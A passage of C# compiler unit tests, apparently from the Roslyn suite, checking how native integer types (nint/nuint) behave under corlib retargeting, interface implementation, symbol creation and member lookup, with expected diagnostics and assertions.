var ref1 = comp.EmitToImageReference();
var sourceA =
@"public class A
{
public static nint F1 = -1;
public static nuint F2 = 1;
public static nint F3 = -2;
public static nuint F4 = 2;
}";
comp = CreateEmptyCompilation(sourceA, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var refA = comp.ToMetadataReference();
var typeA = comp.GetMember<FieldSymbol>("A.F1").Type;
var corLibA = comp.Assembly.CorLibrary;
Assert.Equal(corLibA, typeA.ContainingAssembly);
var source2 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
}";
comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(2, 0, 0, 0)), new[] { source2 }, references: null);
var ref2 = comp.EmitToImageReference();
var sourceB =
@"class B : A
{
static void Main()
{
_ = F1;
_ = F2;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2, refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,13): error CS0518: Predefined type 'System.IntPtr' is not defined or imported
// _ = F1;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "F1").WithArguments("System.IntPtr").WithLocation(5, 13),
// (6,13): error CS0518: Predefined type 'System.UIntPtr' is not defined or imported
// _ = F2;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "F2").WithArguments("System.UIntPtr").WithLocation(6, 13));
var corLibB = comp.Assembly.CorLibrary;
Assert.NotEqual(corLibA, corLibB);
var f1 = comp.GetMember<FieldSymbol>("A.F1");
verifyField(f1, "nint A.F1", corLibB);
var f2 = comp.GetMember<FieldSymbol>("A.F2");
verifyField(f2, "nuint A.F2", corLibB);
var f3 = comp.GetMember<FieldSymbol>("A.F3");
verifyField(f3, "nint A.F3", corLibB);
var f4 = comp.GetMember<FieldSymbol>("A.F4");
verifyField(f4, "nuint A.F4", corLibB);
// MissingMetadataTypeSymbol.TopLevel instances are not reused.
Assert.Equal(f1.Type, f3.Type);
Assert.NotSame(f1.Type, f3.Type);
Assert.Equal(f2.Type, f4.Type);
Assert.NotSame(f2.Type, f4.Type);
static void verifyField(FieldSymbol field, string expectedSymbol, AssemblySymbol expectedAssembly)
{
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(field);
Assert.Equal(expectedSymbol, field.ToTestDisplayString());
var type = (NamedTypeSymbol)field.Type;
Assert.True(type.IsNativeIntegerType);
Assert.IsType<MissingMetadataTypeSymbol.TopLevel>(type);
Assert.Equal(expectedAssembly, type.NativeIntegerUnderlyingType.ContainingAssembly);
}
}
[Fact]
public void Retargeting_03()
{
var source1 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
}";
var assemblyName = GetUniqueName();
var comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(1, 0, 0, 0)), new[] { source1 }, references: null);
var ref1 = comp.EmitToImageReference();
var sourceA =
@"public class A
{
public static nint F1 = -1;
public static nuint F2 = 1;
}";
comp = CreateEmptyCompilation(sourceA, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (3,19): error CS0518: Predefined type 'System.IntPtr' is not defined or imported
// public static nint F1 = -1;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "nint").WithArguments("System.IntPtr").WithLocation(3, 19),
// (4,19): error CS0518: Predefined type 'System.UIntPtr' is not defined or imported
// public static nuint F2 = 1;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "nuint").WithArguments("System.UIntPtr").WithLocation(4, 19));
var refA = comp.ToMetadataReference();
var typeA = comp.GetMember<FieldSymbol>("A.F1").Type;
var corLibA = comp.Assembly.CorLibrary;
Assert.Equal(corLibA, typeA.ContainingAssembly);
var source2 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr { }
public struct UIntPtr { }
}";
comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(2, 0, 0, 0)), new[] { source2 }, references: null);
var ref2 = comp.EmitToImageReference();
var sourceB =
@"class B : A
{
static void Main()
{
_ = F1;
_ = F2;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2, refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,13): error CS0518: Predefined type 'System.IntPtr' is not defined or imported
// _ = F1;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "F1").WithArguments("System.IntPtr").WithLocation(5, 13),
// (6,13): error CS0518: Predefined type 'System.UIntPtr' is not defined or imported
// _ = F2;
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "F2").WithArguments("System.UIntPtr").WithLocation(6, 13));
var corLibB = comp.Assembly.CorLibrary;
Assert.NotEqual(corLibA, corLibB);
var f1 = comp.GetMember<FieldSymbol>("A.F1");
verifyField(f1, "nint A.F1", corLibA);
var f2 = comp.GetMember<FieldSymbol>("A.F2");
verifyField(f2, "nuint A.F2", corLibA);
static void verifyField(FieldSymbol field, string expectedSymbol, AssemblySymbol expectedAssembly)
{
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(field);
Assert.Equal(expectedSymbol, field.ToTestDisplayString());
var type = (NamedTypeSymbol)field.Type;
Assert.True(type.IsNativeIntegerType);
Assert.IsType<MissingMetadataTypeSymbol.TopLevel>(type);
Assert.Equal(expectedAssembly, type.NativeIntegerUnderlyingType.ContainingAssembly);
}
}
[Fact]
public void Retargeting_04()
{
var sourceA =
@"public class A
{
}";
var assemblyName = GetUniqueName();
var references = TargetFrameworkUtil.GetReferences(TargetFramework.Standard).ToArray();
var comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(1, 0, 0, 0)), new[] { sourceA }, references: references);
var refA1 = comp.EmitToImageReference();
comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(2, 0, 0, 0)), new[] { sourceA }, references: references);
var refA2 = comp.EmitToImageReference();
var sourceB =
@"public class B
{
public static A F0 = new A();
public static nint F1 = int.MinValue;
public static nuint F2 = int.MaxValue;
public static nint F3 = -1;
public static nuint F4 = 1;
}";
comp = CreateCompilation(sourceB, references: new[] { refA1 }, parseOptions: TestOptions.Regular9, targetFramework: TargetFramework.Standard);
var refB = comp.ToMetadataReference();
var f0B = comp.GetMember<FieldSymbol>("B.F0");
var t1B = comp.GetMember<FieldSymbol>("B.F1").Type;
var t2B = comp.GetMember<FieldSymbol>("B.F2").Type;
var sourceC =
@"class C : B
{
static void Main()
{
_ = F0;
_ = F1;
_ = F2;
}
}";
comp = CreateCompilation(sourceC, references: new[] { refA2, refB }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9, targetFramework: TargetFramework.Standard);
comp.VerifyDiagnostics();
var f0 = comp.GetMember<FieldSymbol>("B.F0");
Assert.NotEqual(f0B.Type.ContainingAssembly, f0.Type.ContainingAssembly);
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(f0);
var f1 = comp.GetMember<FieldSymbol>("B.F1");
verifyField(f1, "nint B.F1");
var f2 = comp.GetMember<FieldSymbol>("B.F2");
verifyField(f2, "nuint B.F2");
var f3 = comp.GetMember<FieldSymbol>("B.F3");
verifyField(f3, "nint B.F3");
var f4 = comp.GetMember<FieldSymbol>("B.F4");
verifyField(f4, "nuint B.F4");
Assert.Same(t1B, f1.Type);
Assert.Same(t2B, f2.Type);
Assert.Same(f1.Type, f3.Type);
Assert.Same(f2.Type, f4.Type);
static void verifyField(FieldSymbol field, string expectedSymbol)
{
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(field);
Assert.Equal(expectedSymbol, field.ToTestDisplayString());
var type = (NamedTypeSymbol)field.Type;
Assert.True(type.IsNativeIntegerType);
Assert.IsType<NativeIntegerTypeSymbol>(type);
}
}
[Theory]
[InlineData(false)]
[InlineData(true)]
public void Retargeting_05(bool useCompilationReference)
{
var source1 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Enum { }
public class Attribute { }
public class AttributeUsageAttribute : Attribute
{
public AttributeUsageAttribute(AttributeTargets validOn) { }
public bool AllowMultiple { get; set; }
public bool Inherited { get; set; }
}
public enum AttributeTargets { }
public struct IntPtr { }
public struct UIntPtr { }
}";
var comp = CreateCompilation(new AssemblyIdentity("9ef8b1e0-1ae0-4af6-b9a1-00f2078f299e", new Version(1, 0, 0, 0)), new[] { source1 }, references: null);
var ref1 = comp.EmitToImageReference(EmitOptions.Default.WithRuntimeMetadataVersion("0.0.0.0"));
var sourceA =
@"public abstract class A<T>
{
public abstract void F<U>() where U : T;
}
public class B : A<nint>
{
public override void F<U>() { }
}";
comp = CreateEmptyCompilation(sourceA, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var type1 = getConstraintType(comp);
Assert.True(type1.IsNativeIntegerType);
Assert.False(type1.IsErrorType());
var sourceB =
@"class C : B
{
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (1,7): error CS0518: Predefined type 'System.Void' is not defined or imported
// class C : B
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "C").WithArguments("System.Void").WithLocation(1, 7),
// (1,11): error CS0518: Predefined type 'System.IntPtr' is not defined or imported
// class C : B
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "B").WithArguments("System.IntPtr").WithLocation(1, 11),
// (1,11): error CS0012: The type 'Object' is defined in an assembly that is not referenced. You must add a reference to assembly '9ef8b1e0-1ae0-4af6-b9a1-00f2078f299e, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'.
// class C : B
Diagnostic(ErrorCode.ERR_NoTypeDef, "B").WithArguments("System.Object", "9ef8b1e0-1ae0-4af6-b9a1-00f2078f299e, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null").WithLocation(1, 11));
var type2 = getConstraintType(comp);
Assert.True(type2.ContainingAssembly.IsMissing);
Assert.False(type2.IsNativeIntegerType);
Assert.True(type2.IsErrorType());
static TypeSymbol getConstraintType(CSharpCompilation comp) =>
comp.GetMember<MethodSymbol>("B.F").TypeParameters[0].ConstraintTypesNoUseSiteDiagnostics[0].Type;
}
[Fact]
public void Retargeting_06()
{
var source1 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public class IntPtr { }
public class UIntPtr { }
}";
var comp = CreateCompilation(new AssemblyIdentity("c804cc09-8f73-44a1-9cfe-9567bed1def6", new Version(1, 0, 0, 0)), new[] { source1 }, references: null);
var ref1 = comp.EmitToImageReference();
var sourceA =
@"public class A : nint
{
}";
comp = CreateEmptyCompilation(sourceA, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
var refA = comp.ToMetadataReference();
var typeA = comp.GetMember<NamedTypeSymbol>("A").BaseTypeNoUseSiteDiagnostics;
Assert.True(typeA.IsNativeIntegerType);
Assert.False(typeA.IsErrorType());
var sourceB =
@"class B : A
{
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (1,7): error CS0518: Predefined type 'System.Void' is not defined or imported
// class B : A
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "B").WithArguments("System.Void").WithLocation(1, 7),
// (1,11): error CS0012: The type 'IntPtr' is defined in an assembly that is not referenced. You must add a reference to assembly 'c804cc09-8f73-44a1-9cfe-9567bed1def6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'.
// class B : A
Diagnostic(ErrorCode.ERR_NoTypeDef, "A").WithArguments("System.IntPtr", "c804cc09-8f73-44a1-9cfe-9567bed1def6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null").WithLocation(1, 11));
var typeB = comp.GetMember<NamedTypeSymbol>("A").BaseTypeNoUseSiteDiagnostics;
Assert.True(typeB.ContainingAssembly.IsMissing);
Assert.False(typeB.IsNativeIntegerType);
Assert.True(typeB.IsErrorType());
}
[Fact]
public void Interfaces()
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface ISerializable { }
public interface IEquatable<T>
{
bool Equals(T other);
}
public interface IOther<T> { }
public struct IntPtr : ISerializable, IEquatable<IntPtr>, IOther<IntPtr>
{
bool IEquatable<IntPtr>.Equals(IntPtr other) => false;
}
}";
var sourceB =
@"using System;
class Program
{
static void F0(ISerializable i) { }
static object F1(IEquatable<IntPtr> i) => default;
static void F2(IEquatable<nint> i) { }
static void F3<T>(IOther<T> i) { }
static void Main()
{
nint n = 42;
F0(n);
F1(n);
F2(n);
F3<nint>(n);
F3<IntPtr>(n);
F3((IntPtr)n);
}
}";
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void IEquatable()
{
// Minimal definitions.
verifyAll(includesIEquatable: true,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<IntPtr> { }
public struct UIntPtr : IEquatable<UIntPtr> { }
}");
// IEquatable<T> in global namespace.
verifyAll(includesIEquatable: false,
@"public interface IEquatable<T> { }
namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr : IEquatable<IntPtr> { }
public struct UIntPtr : IEquatable<UIntPtr> { }
}");
// IEquatable<T> in other namespace.
verifyAll(includesIEquatable: false,
@"namespace Other
{
public interface IEquatable<T> { }
}
namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr : Other.IEquatable<IntPtr> { }
public struct UIntPtr : Other.IEquatable<UIntPtr> { }
}");
// IEquatable<T> nested in "System" type.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public class System
{
public interface IEquatable<T> { }
}
public struct IntPtr : System.IEquatable<IntPtr> { }
public struct UIntPtr : System.IEquatable<UIntPtr> { }
}");
// IEquatable<T> nested in other type.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public class Other
{
public interface IEquatable<T> { }
}
public struct IntPtr : Other.IEquatable<IntPtr> { }
public struct UIntPtr : Other.IEquatable<UIntPtr> { }
}");
// IEquatable.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable { }
public struct IntPtr : IEquatable { }
public struct UIntPtr : IEquatable { }
}");
// IEquatable<T, U>.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T, U> { }
public struct IntPtr : IEquatable<IntPtr, IntPtr> { }
public struct UIntPtr : IEquatable<UIntPtr, UIntPtr> { }
}");
// IEquatable<object> and IEquatable<ValueType>
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<object> { }
public struct UIntPtr : IEquatable<ValueType> { }
}");
// IEquatable<System.UIntPtr> and IEquatable<System.IntPtr>.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<UIntPtr> { }
public struct UIntPtr : IEquatable<IntPtr> { }
}");
// IEquatable<nint> and IEquatable<nuint>.
var comp = CreateEmptyCompilation(
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Enum { }
public class Attribute { }
public class AttributeUsageAttribute : Attribute
{
public AttributeUsageAttribute(AttributeTargets validOn) { }
public bool AllowMultiple { get; set; }
public bool Inherited { get; set; }
}
public enum AttributeTargets { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<nint> { }
public struct UIntPtr : IEquatable<nuint> { }
}",
parseOptions: TestOptions.Regular9);
verifyReference(comp.EmitToImageReference(EmitOptions.Default.WithRuntimeMetadataVersion("0.0.0.0")), includesIEquatable: true);
// IEquatable<nuint> and IEquatable<nint>.
comp = CreateEmptyCompilation(
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Enum { }
public class Attribute { }
public class AttributeUsageAttribute : Attribute
{
public AttributeUsageAttribute(AttributeTargets validOn) { }
public bool AllowMultiple { get; set; }
public bool Inherited { get; set; }
}
public enum AttributeTargets { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<nuint> { }
public struct UIntPtr : IEquatable<nint> { }
}",
parseOptions: TestOptions.Regular9);
verifyReference(comp.EmitToImageReference(EmitOptions.Default.WithRuntimeMetadataVersion("0.0.0.0")), includesIEquatable: false);
static void verifyAll(bool includesIEquatable, string sourceA)
{
var sourceB =
@"interface I
{
nint F1();
nuint F2();
}";
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCompilation(comp, includesIEquatable);
comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCompilation(comp, includesIEquatable);
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCompilation(comp, includesIEquatable);
}
static void verifyReference(MetadataReference reference, bool includesIEquatable)
{
var sourceB =
@"interface I
{
nint F1();
nuint F2();
}";
var comp = CreateEmptyCompilation(sourceB, references: new[] { reference }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCompilation(comp, includesIEquatable);
}
static void verifyCompilation(CSharpCompilation comp, bool includesIEquatable)
{
verifyInterfaces(comp, (NamedTypeSymbol)comp.GetMember<MethodSymbol>("I.F1").ReturnType, SpecialType.System_IntPtr, includesIEquatable);
verifyInterfaces(comp, (NamedTypeSymbol)comp.GetMember<MethodSymbol>("I.F2").ReturnType, SpecialType.System_UIntPtr, includesIEquatable);
}
static void verifyInterfaces(CSharpCompilation comp, NamedTypeSymbol type, SpecialType specialType, bool includesIEquatable)
{
var underlyingType = type.NativeIntegerUnderlyingType;
Assert.True(type.IsNativeIntegerType);
Assert.Equal(specialType, underlyingType.SpecialType);
var interfaces = type.InterfacesNoUseSiteDiagnostics(null);
Assert.Equal(interfaces, type.GetDeclaredInterfaces(null));
VerifyInterfaces(underlyingType, underlyingType.InterfacesNoUseSiteDiagnostics(null), type, interfaces);
Assert.Equal(1, interfaces.Length);
if (includesIEquatable)
{
var @interface = interfaces.Single();
var def = comp.GetWellKnownType(WellKnownType.System_IEquatable_T);
Assert.NotNull(def);
Assert.Equal(def, @interface.OriginalDefinition);
Assert.Equal(type, @interface.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type);
}
}
}
[Fact]
public void CreateNativeIntegerTypeSymbol_FromMetadata()
{
var comp = CreateCompilation("");
comp.VerifyDiagnostics();
VerifyCreateNativeIntegerTypeSymbol(comp);
}
[Fact]
public void CreateNativeIntegerTypeSymbol_FromSource()
{
var source0 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr { }
public struct UIntPtr { }
}";
var comp = CreateEmptyCompilation(source0, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
VerifyCreateNativeIntegerTypeSymbol(comp);
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation("", references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
VerifyCreateNativeIntegerTypeSymbol(comp);
comp = CreateEmptyCompilation("", references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
VerifyCreateNativeIntegerTypeSymbol(comp);
}
private static void VerifyCreateNativeIntegerTypeSymbol(CSharpCompilation comp)
{
verifyInternalType(comp, signed: true);
verifyInternalType(comp, signed: false);
verifyPublicType(comp, signed: true);
verifyPublicType(comp, signed: false);
static void verifyInternalType(CSharpCompilation comp, bool signed)
{
var type = comp.CreateNativeIntegerTypeSymbol(signed);
VerifyType(type, signed, isNativeInt: true);
}
static void verifyPublicType(Compilation comp, bool signed)
{
var type = comp.CreateNativeIntegerTypeSymbol(signed);
VerifyType(type, signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
Assert.NotNull(underlyingType);
Assert.Equal(CodeAnalysis.NullableAnnotation.NotAnnotated, underlyingType.NullableAnnotation);
Assert.Same(underlyingType, ((INamedTypeSymbol)type.WithNullableAnnotation(CodeAnalysis.NullableAnnotation.None)).NativeIntegerUnderlyingType);
Assert.Same(underlyingType, ((INamedTypeSymbol)type.WithNullableAnnotation(CodeAnalysis.NullableAnnotation.Annotated)).NativeIntegerUnderlyingType);
Assert.Same(underlyingType, ((INamedTypeSymbol)type.WithNullableAnnotation(CodeAnalysis.NullableAnnotation.NotAnnotated)).NativeIntegerUnderlyingType);
}
}
[Fact]
public void CreateNativeIntegerTypeSymbol_Missing()
{
var source0 =
@"namespace System
{
public class Object { }
public abstract class ValueType { }
public struct Void { }
}";
var comp = CreateEmptyCompilation(source0, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCreateNativeIntegerTypeSymbol(comp);
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation("", references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCreateNativeIntegerTypeSymbol(comp);
comp = CreateEmptyCompilation("", references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCreateNativeIntegerTypeSymbol(comp);
static void verifyCreateNativeIntegerTypeSymbol(CSharpCompilation comp)
{
VerifyErrorType(comp.CreateNativeIntegerTypeSymbol(signed: true), SpecialType.System_IntPtr, isNativeInt: true);
VerifyErrorType(comp.CreateNativeIntegerTypeSymbol(signed: false), SpecialType.System_UIntPtr, isNativeInt: true);
VerifyErrorType(((Compilation)comp).CreateNativeIntegerTypeSymbol(signed: true), SpecialType.System_IntPtr, isNativeInt: true);
VerifyErrorType(((Compilation)comp).CreateNativeIntegerTypeSymbol(signed: false), SpecialType.System_UIntPtr, isNativeInt: true);
}
}
/// <summary>
/// Static members Zero, Size, Add(), Subtract() are explicitly excluded from nint and nuint.
/// Other static members are implicitly included on nint and nuint.
/// </summary>
[Theory]
[InlineData(false)]
[InlineData(true)]
public void StaticMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr
{
public static readonly IntPtr Zero;
public static int Size => 0;
public static IntPtr MaxValue => default;
public static IntPtr MinValue => default;
public static IntPtr Add(IntPtr ptr, int offset) => default;
public static IntPtr Subtract(IntPtr ptr, int offset) => default;
public static IntPtr Parse(string s) => default;
public static bool TryParse(string s, out IntPtr value)
{
value = default;
return false;
}
}
public struct UIntPtr
{
public static readonly UIntPtr Zero;
public static int Size => 0;
public static UIntPtr MaxValue => default;
public static UIntPtr MinValue => default;
public static UIntPtr Add(UIntPtr ptr, int offset) => default;
public static UIntPtr Subtract(UIntPtr ptr, int offset) => default;
public static UIntPtr Parse(string s) => default;
public static bool TryParse(string s, out UIntPtr value)
{
value = default;
return false;
}
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
static nint F1()
{
_ = nint.Zero;
_ = nint.Size;
var x1 = nint.MaxValue;
var x2 = nint.MinValue;
_ = nint.Add(x1, 2);
_ = nint.Subtract(x1, 3);
var x3 = nint.Parse(null);
_ = nint.TryParse(null, out var x4);
return 0;
}
static nuint F2()
{
_ = nuint.Zero;
_ = nuint.Size;
var y1 = nuint.MaxValue;
var y2 = nuint.MinValue;
_ = nuint.Add(y1, 2);
_ = nuint.Subtract(y1, 3);
var y3 = nuint.Parse(null);
_ = nuint.TryParse(null, out var y4);
return 0;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,18): error CS0117: 'nint' does not contain a definition for 'Zero'
// _ = nint.Zero;
Diagnostic(ErrorCode.ERR_NoSuchMember, "Zero").WithArguments("nint", "Zero").WithLocation(5, 18),
// (6,18): error CS0117: 'nint' does not contain a definition for 'Size'
// _ = nint.Size;
Diagnostic(ErrorCode.ERR_NoSuchMember, "Size").WithArguments("nint", "Size").WithLocation(6, 18),
// (9,18): error CS0117: 'nint' does not contain a definition for 'Add'
// _ = nint.Add(x1, x2);
Diagnostic(ErrorCode.ERR_NoSuchMember, "Add").WithArguments("nint", "Add").WithLocation(9, 18),
// (10,18): error CS0117: 'nint' does not contain a definition for 'Subtract'
// _ = nint.Subtract(x1, x2);
Diagnostic(ErrorCode.ERR_NoSuchMember, "Subtract").WithArguments("nint", "Subtract").WithLocation(10, 18),
// (17,19): error CS0117: 'nuint' does not contain a definition for 'Zero'
// _ = nuint.Zero;
Diagnostic(ErrorCode.ERR_NoSuchMember, "Zero").WithArguments("nuint", "Zero").WithLocation(17, 19),
// (18,19): error CS0117: 'nuint' does not contain a definition for 'Size'
// _ = nuint.Size;
Diagnostic(ErrorCode.ERR_NoSuchMember, "Size").WithArguments("nuint", "Size").WithLocation(18, 19),
// (21,19): error CS0117: 'nuint' does not contain a definition for 'Add'
// _ = nuint.Add(y1, y2);
Diagnostic(ErrorCode.ERR_NoSuchMember, "Add").WithArguments("nuint", "Add").WithLocation(21, 19),
// (22,19): error CS0117: 'nuint' does not contain a definition for 'Subtract'
// _ = nuint.Subtract(y1, y2);
Diagnostic(ErrorCode.ERR_NoSuchMember, "Subtract").WithArguments("nuint", "Subtract").WithLocation(22, 19));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").ReturnType, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").ReturnType, signed: false);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var actualLocals = tree.GetRoot().DescendantNodes().OfType<VariableDeclaratorSyntax>().Select(d => model.GetDeclaredSymbol(d).ToTestDisplayString());
var expectedLocals = new[]
{
"nint x1",
"nint x2",
"nint x3",
"nuint y1",
"nuint y2",
"nuint y3",
};
AssertEx.Equal(expectedLocals, actualLocals);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"System.Boolean {type}.TryParse(System.String s, out {type} value)",
$"{type} {type}.MaxValue {{ get; }}",
$"{type} {type}.MaxValue.get",
$"{type} {type}.MinValue {{ get; }}",
$"{type} {type}.MinValue.get",
$"{type} {type}.Parse(System.String s)",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
var property = (PropertySymbol)members.Single(m => m.Name == "MaxValue");
var getMethod = (MethodSymbol)members.Single(m => m.Name == "get_MaxValue");
Assert.Same(getMethod, property.GetMethod);
Assert.Null(property.SetMethod);
var underlyingType = type.NativeIntegerUnderlyingType;
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
/// <summary>
/// Instance members ToInt32(), ToInt64(), ToPointer() are explicitly excluded from nint and nuint.
/// Other instance members are implicitly included on nint and nuint.
/// </summary>
[Theory]
[InlineData(false)]
[InlineData(true)]
public void InstanceMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Int64 { }
public struct UInt32 { }
public struct UInt64 { }
public interface IFormatProvider { }
public struct IntPtr
{
public int ToInt32() => default;
public long ToInt64() => default;
public uint ToUInt32() => default;
public ulong ToUInt64() => default;
unsafe public void* ToPointer() => default;
public int CompareTo(object other) => default;
public int CompareTo(IntPtr other) => default;
public bool Equals(IntPtr other) => default;
public string ToString(string format) => default;
public string ToString(IFormatProvider provider) => default;
public string ToString(string format, IFormatProvider provider) => default;
}
public struct UIntPtr
{
public int ToInt32() => default;
public long ToInt64() => default;
public uint ToUInt32() => default;
public ulong ToUInt64() => default;
unsafe public void* ToPointer() => default;
public int CompareTo(object other) => default;
public int CompareTo(UIntPtr other) => default;
